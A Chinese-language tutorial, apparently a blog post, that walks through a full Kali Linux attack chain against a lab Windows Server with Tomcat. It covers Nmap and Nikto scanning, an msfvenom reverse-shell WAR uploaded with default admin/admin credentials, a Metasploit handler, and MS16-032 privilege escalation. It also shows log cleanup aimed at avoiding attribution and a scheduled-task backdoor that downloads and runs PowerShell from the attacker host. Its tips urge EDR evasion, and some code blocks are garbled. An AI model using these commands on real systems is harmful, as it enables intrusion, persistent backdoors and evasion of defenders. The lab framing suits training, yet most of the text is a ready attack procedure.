一、从攻击者视角谈Kali Linux的武器库
Kali Linux,是一款为从事渗透测试和数字取证工作的专业人士量身定制的操作系统。它内置了数百种攻击工具,从漏洞扫描到密码破解,从网络嗅探到社会工程学攻击,应有尽有。对于一名攻击者来说,Kali Linux就像一个随身携带的军火库,几乎可以满足所有的攻击需求。
在构建渗透测试的攻击链时,Kali的工具大致可以分为以下五个阶段使用:
- 信息收集:识别目标暴露的攻击面,比如Nmap、Recon-ng等工具。
- 漏洞利用:通过已知漏洞或零日漏洞,获取初始访问权限,比如Metasploit。
- 权限提升:借助内核漏洞或配置错误进一步扩大权限,比如Linux Exploit Suggester。
- 横向移动:在内网中传播控制,使用工具如Impacket。
- 痕迹清除:掩盖攻击痕迹,确保后门持久性,比如Weevely。
在本文中,我们将围绕Kali Linux的核心工具,设计一个完整的渗透测试流程,包括环境搭建、攻击步骤、代码实战和技巧分享。
---

二、搭建战场:实验环境模拟
要进行一次真实有效的渗透测试,搭建可靠的实验环境是第一步。这里我们会模拟一个真实的企业网络环境,实验环境由以下几个部分组成:
环境设计
- 攻击机(Kali Linux):作为渗透测试的主控端,安装最新版Kali Linux,建议使用虚拟机,方便快照回滚。
- 靶机(Windows Server 2019):作为受攻击目标,模拟企业内网中常见的Windows服务器。
- 管理网段:划分一个独立子网(172.16.0.0/24),模拟办公环境。
- 防御工具:安装一款市面上常见的EDR(Endpoint Detection and Response),用于测试免杀和对抗技术。
环境搭建步骤
攻击机设置:
- 下载和安装Kali Linux ISO,安装后更新系统:
<pre><code class="language-bash"> sudo apt update && sudo apt full-upgrade -y `
靶机配置:
- 使用默认配置安装Windows Server 2019,并启用远程桌面服务(RDP)。
- 安装一些老版本的软件(如Tomcat 8、PHP 5.6)作为后续攻击目标。
- 在服务器上开放指定端口(80、445、3389),同时关闭部分防火墙规则,模拟真实企业环境的安全配置问题。
网络桥接:
- 使用VMware或VirtualBox将两台虚拟机设置为“桥接模式”,确保它们能够互相通信。
- 在Kali中使用
ifconfig查看IP地址,确保攻击机和靶机处于同一网段。
---
三、从外部到内部:信息收集与漏洞扫描
外部信息收集
在渗透测试中,信息收集是最重要的一环。知道的越多,你的攻击就越精准。Kali内置的工具如Nmap、Recon-ng可以快速对目标系统进行侦查。
使用Nmap扫描开放端口</code></pre>bash
nmap -A -T4 172.16.0.10 <pre><code>- -A 启用服务检测和操作系统识别。
-T4提高扫描速度。
运行以上命令后,Nmap将返回靶机开放的端口和运行的服务。假设结果如下:</code></pre> 80/tcp open http Apache Tomcat/Coyote 1.1 445/tcp open smb Microsoft Windows Server 2019 3389/tcp open ms-wbt-server <pre><code>根据扫描结果,我们发现目标机器运行了Tomcat、SMB服务和RDP服务。
漏洞扫描
基于Nmap的结果,我们可以进一步使用工具如Nikto或Metasploit对Web服务和SMB服务进行漏洞扫描。
使用Nikto扫描Web服务</code></pre>bash
nikto -h http://172.16.0.10 <pre><code>运行上述命令后,Nikto检测到靶机Tomcat版本过低,且存在默认凭据漏洞(用户名:admin,密码:admin)。
检查SMB协议
我们可以用smbclient工具去探测是否开放了匿名共享:</code></pre>bash smbclient -L //172.16.0.10 -N <pre><code>如果返回了共享文件夹列表,例如Public,则说明匿名访问是可能的。
---
四、拿下第一步:漏洞利用与初始访问
基于前面的信息收集结果,我们可以尝试利用Tomcat的默认凭据漏洞,上传恶意文件以获得远程代码执行权限。
构造Payload
我们使用msfvenom工具生成一个Windows反向Shell的Payload:</code></pre>bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.0.5 LPORT=4444 -f war -o shell.war <pre><code>- -p windows/x64/meterpreter/reverse_tcp 指定Payload类型为Windows反向Shell。
LHOST是攻击机的IP地址。LPORT是监听端口。
上传漏洞文件
访问Tomcat的管理界面(http://172.16.0.10:8080/manager/html),使用默认账户admin/admin登录。成功登录后,上传我们生成的shell.war文件。
开启监听器
在Kali Linux上启动Metasploit并监听反向Shell:</code></pre>bash msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 172.16.0.5 set LPORT 4444 exploit <pre><code>
触发Payload
访问http://172.16.0.10:8080/shell,成功后,你将在Metasploit中获得靶机的Meterpreter会话。
---
五、深入内网:权限提升与横向移动
初始访问只是开始,下一步是提升权限并横向移动。以下是具体操作步骤。
检查本地权限
在Meterpreter中,运行以下命令查看当前用户:</code></pre>shell getuid <pre><code>如果当前用户权限不足,可以尝试使用Metasploit的本地提权模块。
利用MS16-032提权</code></pre>bash
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set SESSION 1 exploit <pre><code> 成功后,你将获得System权限。
---

六、痕迹清除与持久化
攻击完成后,务必清理所有痕迹,确保操作不可被溯源。

删除上传的Payload</code></pre>bash
del C:\path\to\shell.war <pre><code>
设置持久化后门
我们可以利用Windows计划任务创建一个反向Shell的持久化后门:</code></pre>bash schtasks /create /sc minute /mo 5 /tn "Updater" /tr "powershell.exe -c \"IEX(New-Object Net.WebClient).DownloadString('http://172.16.0.5/shell.ps1');\"" `
---
七、个人经验分享
- 信息收集是关键:每一次成功的攻击都始于精准的信息收集。花时间研究目标的网络结构和暴露面,往往能大大提高后续攻击的成功率。
- 学会绕过EDR:现代企业几乎都有端点防护工具(EDR)。建议深入学习内存混淆和无文件攻击技术。
- 练习武器化:从漏洞POC到实战EXP,需要大量的实践训练。可以试着把开源工具改造成定制化Payload,提高实用性。
---
以上内容仅供合法授权的渗透测试使用,切勿用于非法行为!